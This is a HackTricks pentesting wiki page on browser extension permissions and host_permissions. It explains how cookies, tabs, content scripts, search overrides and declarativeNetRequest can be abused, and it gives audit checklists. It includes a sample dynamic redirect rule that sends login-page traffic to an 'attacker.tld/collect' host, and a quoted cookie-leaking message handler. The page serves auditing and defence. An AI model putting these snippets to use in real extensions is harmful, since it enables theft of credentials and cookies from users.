browext-permissions-and-host-permissions.md (21663B)
1 --- 2 title: "BrowExt - permissions & hostpermissions" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # BrowExt - permissions & host_permissions 14 15 ## Basic Information 16 17 ### **`permissions`** 18 19 Named API permissions are declared in an extension's **`manifest.json`** under **`permissions`**. Each permission grants a specific capability; origin access is controlled separately through host permissions.<sup>[[2]](#references)[[9]](#references)</sup> 20 21 An extension declaring `storage` can use the extension storage API to persist data. This storage is isolated from web-page `localStorage`; the extension can clear it programmatically, and removing the extension clears its data.<sup>[[12]](#references)</sup> 22 23 An extension requests the permissions indicated in its **`manifest.json`**. After installation, you can review its permissions in the browser's extension-management interface. 24 25 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2818%29.png" alt=""><figcaption></figcaption></figure> 26 27 You can find the [**complete list of permissions a Chromium Browser Extension can request here**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) and a [**complete list for Firefox extensions here**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** 28 29 ### `host_permissions` 30 31 The powerful **`host_permissions`** setting identifies the origins with which the extension can interact through APIs such as `cookies`, `webRequest`, and `tabs`.<sup>[[9]](#references)</sup> 32 33 The following `host_permissions` basically allow every web: 34 35 ```json 36 "host_permissions": [ 37 "*://*/*" 38 ] 39 40 // Or: 41 "host_permissions": [ 42 "http://*/*", 43 "https://*/*" 44 ] 45 46 // Or: 47 "host_permissions": [ 48 "<all_urls>" 49 ] 50 ``` 51 52 These are the hosts that the browser extension can access freely. This is because when a browser extension calls **`fetch("https://gmail.com/")`** it's not restricted by CORS. 53 54 ## Abusing `permissions` and `host_permissions` 55 56 ### Cookies 57 58 The **`cookies`** permission, together with matching host permissions, allows an extension to access cookies for those hosts, including cookies marked `HttpOnly`.<sup>[[10]](#references)</sup> A disclosed extension vulnerability exposed this capability through an insecure background-script message handler, allowing a malicious page to request the victim's cookies.<sup>[[8]](#references)</sup> The vulnerable code returned every cookie visible to the extension: 59 60 ```javascript 61 chrome.runtime.onMessage.addListener( 62 function(request, sender, sendResponse) { 63 if (request.action == "getCookies") { 64 chrome.cookies.getAll({}, function(cookies) { 65 sendResponse({data: cookies}); 66 }); 67 } 68 return true; 69 } 70 ); 71 ``` 72 73 ### Tabs 74 75 Moreover, the `tabs` permission or a matching host permission exposes sensitive `tabs.Tab` properties such as a tab's URL, title, and favicon. `tabs.query()` itself is available without those permissions, but sensitive properties are omitted when the extension lacks the required access.<sup>[[1]](#references)[[9]](#references)[[13]](#references)</sup> 76 77 > [!CAUTION] 78 > Not only that, listeners like [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **become way more useful as well**. These will be notified whenever a new page loads into a tab. 79 80 ### Running content scripts <a href="#running-content-scripts" id="running-content-scripts"></a> 81 82 Content scripts need not be declared statically in the manifest. With host access (or a temporary `activeTab` grant), MV2 extensions can use `tabs.executeScript()` and MV3 extensions can use `scripting.executeScript()`; the MV3 API also requires the `scripting` permission.<sup>[[1]](#references)[[11]](#references)</sup> 83 84 Both APIs can inject extension files, while MV2's API also accepts a code string and MV3's API accepts a JavaScript function. Any path that lets untrusted input influence the selected file, function, arguments, or MV2 code string is therefore security-sensitive. 85 86 > [!CAUTION] 87 > In addition to the capabilities above, content scripts could for example **intercept credentials** as these are entered into web pages. Another classic way to abuse them is **injecting advertising** on each an every website. Adding **scam messages** to abuse credibility of news websites is also possible. Finally, they could **manipulate banking** websites to reroute money transfers. 88 89 ### Implicit privileges 90 91 Some extension privileges **don’t have to be explicitly declared**. One example is the [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): its basic functionality is accessible without any privileges whatsoever. Any extension can be notified when you open and close tabs, it merely won’t know which website these tabs correspond with.<sup>[[1]](#references)</sup> 92 93 Sounds too harmless? The [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) is somewhat less so. It can be used to **create a new tab**, essentially the same as [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) which can be called by any website. Yet while `window.open()` is subject to the **pop-up blocker, `tabs.create()` isn’t**. 94 95 > [!CAUTION] 96 > An extension can create any number of tabs whenever it wants. 97 98 If you look through possible `tabs.create()` parameters, you’ll also notice that its capabilities go way beyond what `window.open()` is allowed to control. And while Firefox doesn’t allow `data:` URIs to be used with this API, Chrome has no such protection. **Use of such URIs on the top level has been** [**banned due to being abused for phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** 99 100 [**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is very similar to `tabs.create()` but will **modify an existing tab**. So a malicious extension can for example arbitrarily load an advertising page into one of your tabs, and it can activate the corresponding tab as well. 101 102 ### Webcam, geolocation and friends 103 104 You probably know that websites can request special permissions, e.g. in order to access your webcam (video conferencing tools) or geographical location (maps). It’s features with considerable potential for abuse, so users each time have to confirm that they still want this.<sup>[[1]](#references)</sup> 105 106 > [!CAUTION] 107 > Not so with browser extensions. **If a browser extension** [**wants access to your webcam or microphone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, it only needs to ask for permission once** 108 109 Typically, an extension will do so immediately after being installed. Once this prompt is accepted, **webcam access is possible at any time**, even if the user isn’t interacting with the extension at this point. Yes, a user will only accept this prompt if the extension really needs webcam access. But after that they have to trust the extension not to record anything secretly. 110 111 With access to [your exact geographical location](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) or [contents of your clipboard](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), granting permission explicitly is unnecessary altogether. **An extension simply adds `geolocation` or `clipboard` to the** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **of its manifest**. These access privileges are then granted implicitly when the extension is installed. So a malicious or compromised extension with these privileges can create your movement profile or monitor your clipboard for copied passwords without you noticing anything. 112 113 Adding the **`history`** keyword to the [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) of the extension manifest grants **access to the** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). It allows retrieving the user’s entire browsing history all at once, without waiting for the user to visit these websites again. 114 115 The **`bookmarks`** **permission** has similar abuse potential, this one allows **reading out all bookmarks via the** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). 116 117 ### Storage permission 118 119 The extension storage is merely a key-value collection, very similar to [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) that any website could use. So no sensitive information should be stored here. 120 121 However, advertising companies could also abuse this storage.<sup>[[1]](#references)</sup> 122 123 ### Search provider hijacking with `chrome_settings_overrides` 124 125 A **low-permission** extension can still **take over omnibox searches** via **`chrome_settings_overrides.search_provider`**. Chrome allows an extension to define a custom search endpoint containing **`{searchTerms}`**, so a manifest-only extension can silently route every address-bar search through operator-controlled infrastructure:<sup>[[6]](#references)</sup> 126 127 ```json 128 "chrome_settings_overrides": { 129 "search_provider": { 130 "name": "Search", 131 "keyword": "search.example", 132 "search_url": "https://search.example/search?q={searchTerms}", 133 "is_default": true 134 } 135 } 136 ``` 137 138 This is useful for **search affiliate hijacking** because the extension might need **no content scripts**, **no background logic**, and **no extra API permissions** while still gaining access to a very sensitive data stream: user search intent.<sup>[[5]](#references)</sup> 139 140 ### Auditing search-override abuse 141 142 When reviewing a browser extension, check whether the advertised feature matches the search override:<sup>[[5]](#references)</sup> 143 144 - Search for **`chrome_settings_overrides`**, **`search_provider`**, **`search_url`**, and **`is_default`** in `manifest.json`. 145 - Flag **manifest-only shells** whose main behavior is changing the default search provider. 146 - Compare the **extension branding** with the **search endpoint domain**. Utility/new-tab/map/video extensions pointing searches to unrelated domains are suspicious. 147 - Inspect whether the redirect chain lands in **affiliate search networks**. Parameters such as **`hspart`** and **`hsimp`** are useful to attribute the broker/campaign behind Yahoo Hosted Search style monetization. 148 - Cluster disposable extensions by repeated backend templates such as identical query parameters, shared paths like **`/admin/public/link`** or **`serp.php`**, and reused search domains. 149 - Compare **store claims** and **privacy policies**. False claims such as “we do not track searches” are strong indicators when the extension clearly proxies queries. 150 151 ### Runtime redirect rules can hide the real routing 152 153 Static package review may still miss the real search flow. An extension can ship benign-looking static rules and then install the real redirect logic at runtime via **`chrome.declarativeNetRequest.updateDynamicRules()`**.<sup>[[5]](#references)</sup> 154 155 Practical checks: 156 157 - Inspect the **service worker/background script** for `updateDynamicRules()`. 158 - In an instrumented browser, dump live rules with **`chrome.declarativeNetRequest.getDynamicRules()`** from the extension context. 159 - Capture **network traffic** while performing omnibox searches and follow the **full redirect chain** until the final search provider. 160 - Treat decoy static files such as `redirect-rules.json` as insufficient evidence of benign behavior unless runtime rules and live traffic match. 161 162 ### More permissions 163 164 Manifest V3 split page access from API permissions: **`permissions`** still governs privileged APIs (cookies, tabs, history, scripting, etc.) while **`host_permissions`** controls which origins those APIs can touch. MV3 also made host permissions **runtime‑grantable**, so extensions can ship with none and pop a consent prompt later via `chrome.permissions.request()`—handy for legit least‑privilege flows, but also abused by malware to escalate after reputation is established.<sup>[[4]](#references)</sup> 165 166 ### Audit effective and staged host access 167 168 The manifest is an **upper bound/request**, not a reliable snapshot of the extension's live access. Optional API and origin grants can be acquired later with `chrome.permissions.request()` (the request must originate from a user gesture), and Chrome's per-site controls can withhold a declared host. Moreover, removing a permission does not necessarily erase the previous approval: requesting it again can usually restore it without another prompt. Since Chrome 133, MV3 extensions can also call `permissions.addHostAccessRequest()` for a tab or top-level document; the pending request is cleared on cross-origin navigation, but acceptance grants persistent access to the site's top origin.<sup>[[14]](#references)</sup> 169 170 Start with both the declared ceiling and the runtime call sites.<sup>[[14]](#references)</sup> 171 172 ```bash 173 jq '{permissions, host_permissions, optional_permissions, optional_host_permissions}' manifest.json 174 grep -RInE 'permissions\.(request|remove|getAll|addHostAccessRequest|removeHostAccessRequest)' . 175 ``` 176 177 Then open the extension service worker/background page DevTools and enumerate persistent current grants. Registering the event listeners before exercising the UI also reveals grants and revocations performed during the test.<sup>[[14]](#references)</sup> 178 179 ```javascript 180 await chrome.permissions.getAll() 181 chrome.permissions.onAdded.addListener(p => console.log("PERMISSION ADDED", p)) 182 chrome.permissions.onRemoved.addListener(p => console.log("PERMISSION REMOVED", p)) 183 ``` 184 185 Practical checks based on this effective-permission model:<sup>[[14]](#references)</sup> 186 187 - Compare `getAll().origins` with `host_permissions` and `optional_host_permissions`; test once from a clean profile and again after granting and revoking site access. 188 - Trace every `request()` and `addHostAccessRequest()` call back to its UI event. Check that the displayed feature and requested origin agree, and that attacker-controlled page data cannot select the origin from a broad optional pattern. 189 - Do not interpret a path as a restriction. A requested host pattern such as `https://example.com/account/*` grants access to the **whole origin** because paths in origin permission patterns are ignored.<sup>[[14]](#references)</sup> 190 - Assess `activeTab` separately: it is a tab-scoped, ephemeral grant and therefore is not equivalent to the persistent origins returned by this audit.<sup>[[1]](#references)</sup> 191 - Repeat sensitive API calls after the user changes **Site access** in browser UI; manifest declarations alone do not prove that access is currently usable. 192 193 Browser behavior also differs. Firefox users can grant or revoke MV3 host access per site; Firefox 127 and later show requested `host_permissions` and content-script hosts during installation, but new host permissions introduced by an extension **update are not shown in that install-style prompt**. Test fresh-install and upgrade paths separately rather than applying Chromium assumptions.<sup>[[15]](#references)</sup> 194 195 The **`declarativeNetRequestWithHostAccess`** permission (Chrome 96+) exposes declarative request rules but does **not** grant origins by itself: rules can affect a host only when the extension separately has host access for the request and, for redirects, the target. Unlike `declarativeNetRequest`, this permission does not produce its own install-time warning, so the quieter permission name must be assessed together with the extension's separately granted host access.<sup>[[7]](#references)</sup> During testing, inspect both the named permission and the effective host grants in `chrome://extensions/?id=<id>`. 196 197 `declarativeNetRequest` dynamic rules let an extension reprogram network policy at runtime. With `<all_urls>` host access an attacker can weaponise it to hijack traffic or data exfil. Example: 198 199 ```javascript 200 chrome.declarativeNetRequest.updateDynamicRules({ 201 addRules: [{ 202 id: 9001, 203 priority: 1, 204 action: { 205 type: "redirect", 206 redirect: { url: "https://attacker.tld/collect" } 207 }, 208 condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] } 209 }] 210 }); 211 ``` 212 213 Chrome supports large static rulesets and separate quotas for dynamic and session rules; query the live rules and consult the current API limits instead of assuming the packaged rules are the complete policy.<sup>[[7]](#references)</sup> 214 215 216 ### Recent abuse patterns 217 218 * **Supply-chain trojanized updates:** Stolen developer accounts push MV3 updates that add `<all_urls>` plus `declarativeNetRequest`/`scripting`/`webRequest` to inject remote JS and siphon headers/DOM content.<sup>[[3]](#references)</sup> 219 * **Wallet drains:** Host access plus `storage` and `tabs` lets backdoored wallet extensions exfiltrate seeds; stolen Web Store API keys have been used to ship malicious builds.<sup>[[3]](#references)</sup> 220 * **Cookie theft:** Any extension with `cookies` + broad host access can read auth cookies despite `HttpOnly`—treat that combination as credential-stealing capable.<sup>[[3]](#references)</sup> 221 222 223 ## Prevention <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a> 224 225 The policy of Google's developer explicitly forbids extensions from requesting more privileges than necessary for their functionality, effectively mitigating excessive permission requests. An instance where a browser extension overstepped this boundary involved its distribution with the browser itself rather than through an add-on store.<sup>[[1]](#references)</sup> 226 227 Browsers could further curb the misuse of extension privileges. For instance, Chrome's [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) and [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, used for screen recording, are designed to minimize abuse. The tabCapture API can only be activated through direct user interaction, such as clicking on the extension icon, while desktopCapture requires user confirmation for the window to be recorded, preventing clandestine recording activities. 228 229 However, tightening security measures often results in decreased flexibility and user-friendliness of extensions. The [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustrates this trade-off. It was introduced to eliminate the need for extensions to request host privileges across the entire internet, allowing extensions to access only the current tab upon explicit activation by the user. This model is effective for extensions requiring user-initiated actions but falls short for those requiring automatic or pre-emptive actions, thereby compromising convenience and immediate responsiveness. 230 231 232 ## References 233 234 - [1] [Impact of extension privileges](https://palant.info/2022/08/17/impact-of-extension-privileges/) 235 - [2] [Introduction to Chrome Browser Extension Security Testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) 236 - [3] [Malicious browser extensions (Feb 2025)](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/) 237 - [4] [Resuming the transition to Manifest V3](https://developer.chrome.com/blog/resuming-the-transition-to-mv3/) 238 - [5] [SearchJack report](https://malext.io/reports/SearchJack/) 239 - [6] [chrome_settings_overrides | Chrome Extensions manifest](https://developer.chrome.com/docs/extensions/reference/manifest/chrome-settings-override) 240 - [7] [declarativeNetRequest API | Chrome Extensions](https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest) 241 - [8] [Reverse engineering a browser extension led me to a dangerous exploit ($25,000 bounty)](https://theindiannetwork.medium.com/reverse-engineering-a-browser-extension-led-me-to-a-dangerous-exploit-25-000-bounty-c7dda4601753) 242 - [9] [Chrome for Developers - Declare permissions](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions) 243 - [10] [Chrome for Developers - chrome.cookies API](https://developer.chrome.com/docs/extensions/reference/api/cookies) 244 - [11] [Chrome for Developers - chrome.scripting API](https://developer.chrome.com/docs/extensions/reference/api/scripting) 245 - [12] [Chrome for Developers - chrome.storage API](https://developer.chrome.com/docs/extensions/reference/api/storage) 246 - [13] [Chrome for Developers - chrome.tabs API](https://developer.chrome.com/docs/extensions/reference/api/tabs) 247 - [14] [Chrome for Developers - chrome.permissions API](https://developer.chrome.com/docs/extensions/reference/api/permissions) 248 - [15] [MDN - `host_permissions`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/host_permissions)